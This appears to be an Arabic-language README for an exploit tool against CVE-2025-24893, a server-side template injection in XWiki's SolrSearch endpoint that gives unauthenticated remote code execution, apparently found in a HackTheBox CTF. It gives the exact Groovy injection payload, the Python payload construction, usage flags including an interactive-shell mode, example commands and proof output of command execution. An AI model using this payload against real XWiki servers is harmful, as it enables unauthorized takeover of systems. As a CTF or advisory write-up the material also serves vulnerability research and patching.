CVE-2025-24893 — تنفيذ الأكواد عن بُعد في XWiki عبر حقن القوالب (SSTI)

نظرة عامة

الحقل	التفاصيل
CVE	CVE-2025-24893
البرنامج	XWiki
الثغرة	حقن القوالب من جهة الخادم (SSTI) → تنفيذ الأكواد عن بُعد (RCE)
المصادقة	غير مطلوبة
درجة CVSS	حرجة
السياق	اكتُشفت أثناء مسابقة HackTheBox CTF

الوصف

يوفّر XWiki نقطة نهاية SolrSearch (/xwiki/bin/get/Main/SolrSearch) تمرّر مدخلات المستخدم عبر محرك قوالب Groovy دون أي تنقية. يمكن لمهاجم غير مصادَق حقن تعبير Groovy عبر معامل الاستعلام text، محققًا تنفيذ الأكواد عن بُعد على الخادم الأساسي.

التفاصيل التقنية

نقطة النهاية المعرّضة للثغرة

GET /xwiki/bin/get/Main/SolrSearch?media=rss&text=<PAYLOAD>

آلية الحقن

يُدمج معامل text مباشرةً في سياق ماكرو XWiki ويُقيَّم بواسطة محرك Groovy. يهرب الحقن من سياق القالب باستخدام }}} ويفتح كتلة {{async}}{{groovy}}:

}}}{{async async=false}}{{groovy}}println("<CMD>".execute().text){{/groovy}}{{/async}}

ينعكس المخرَج في نص استجابة RSS ويمكن استخراجه عبر التعبير النمطي (regex).

بنية الحمولة (Payload)

payload = '}}}{{async async=false}}{{groovy}}println("' + command + '".execute().text){{/groovy}}{{/async}}'

الاستجابة بتنسيق XML/RSS — يظهر مخرَج الأمر بين علامتي [}}} و]</ مع ترميز الأحرف بصيغة HTML.

الاستخدام

python3 exploit.py -t <TARGET> [-p PORT] [-s] [-i | -c COMMAND]

العلامة	الوصف
`-t`	اسم المضيف الهدف أو عنوان IP
`-p`	المنفذ (الافتراضي: 80)
`-s`	استخدام HTTPS
`-i`	وضع الصدفة التفاعلية
`-c`	تنفيذ أمر واحد
`-v`	إخراج تفصيلي

أمثلة

# Single command
python3 exploit.py -t wiki.target.htb -c "id"

# Interactive shell
python3 exploit.py -t wiki.target.htb -i

# HTTPS on custom port
python3 exploit.py -t wiki.target.htb -p 443 -s -i

التبعيات

pip install requests termcolor

إثبات المفهوم

$ python3 exploit.py -t wiki.editor.htb -c "id"
[*] Executing command: id
uid=33(www-data) gid=33(www-data) groups=33(www-data)

CVE-2025-24893-XWiki-SSTI-RCE

الأكثر شعبية